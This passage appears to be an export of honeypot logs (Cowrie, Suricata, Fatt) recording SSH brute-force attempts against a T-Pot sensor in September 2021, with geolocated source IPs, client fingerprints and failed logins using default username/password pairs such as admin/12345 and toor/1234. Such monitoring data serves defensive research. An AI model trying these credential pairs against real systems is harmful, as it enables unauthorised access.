"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48448, "dest_port": 22, "timestamp": "2021-09-20T11:06:39.673230", "@timestamp": "2021-09-20T11:06:39.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21021	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:39.273397+03	2021-09-20 14:15:03.120616+03	{"_id": "GAbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [odroid/odroid] failed", "session": "c0f8f17e80c2", "@version": "1", "password": "odroid", "username": "odroid", "timestamp": "2021-09-20T11:06:39.273397Z", "@timestamp": "2021-09-20T11:06:39.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21022	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:39.324334+03	2021-09-20 14:15:03.122612+03	{"_id": "GQbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/12345] failed", "session": "d2b6638962f4", "@version": "1", "password": "12345", "username": "admin", "timestamp": "2021-09-20T11:06:39.324334Z", "@timestamp": "2021-09-20T11:06:39.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21023	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:39.326916+03	2021-09-20 14:15:03.123613+03	{"_id": "GgbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d429027559e7", "@version": "1", "timestamp": "2021-09-20T11:06:39.326916Z", "@timestamp": "2021-09-20T11:06:39.326Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21024	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:39.339364+03	2021-09-20 14:15:03.125613+03	{"_id": "GwbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1ffa175fba2f", "@version": "1", "timestamp": "2021-09-20T11:06:39.339364Z", "@timestamp": "2021-09-20T11:06:39.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21025	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:39.367633+03	2021-09-20 14:15:03.126615+03	{"_id": "HAbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f99a71c3f87c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:39.367633Z", "@timestamp": "2021-09-20T11:06:39.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21026	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:39.673962+03	2021-09-20 14:15:03.127613+03	{"_id": "HQbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f99a71c3f87c", "@version": "1", "timestamp": "2021-09-20T11:06:39.673962Z", "@timestamp": "2021-09-20T11:06:39.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21027	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:39.833783+03	2021-09-20 14:15:03.129613+03	{"_id": "HgbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [toor/1234] failed", "session": "d61fcba64b47", "@version": "1", "password": "1234", "username": "toor", "timestamp": "2021-09-20T11:06:39.833783Z", "@timestamp": "2021-09-20T11:06:39.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21028	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:40.825241+03	2021-09-20 14:15:03.130613+03	{"_id": "HwbiAnwBvYTbRNuE9QHp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1860721218428701, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37658, "dest_port": 22, "timestamp": "2021-09-20T11:06:40.825241Z", "@timestamp": "2021-09-20T11:06:40.825Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21030	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.339016+03	2021-09-20 14:15:03.132614+03	{"_id": "MAbiAnwBvYTbRNuE9wFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [customer/customer] failed", "session": "d28c6ad901da", "@version": "1", "password": "customer", "username": "customer", "timestamp": "2021-09-20T11:06:40.339016Z", "@timestamp": "2021-09-20T11:06:40.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21031	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:40.357246+03	2021-09-20 14:15:03.134613+03	{"_id": "QQbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 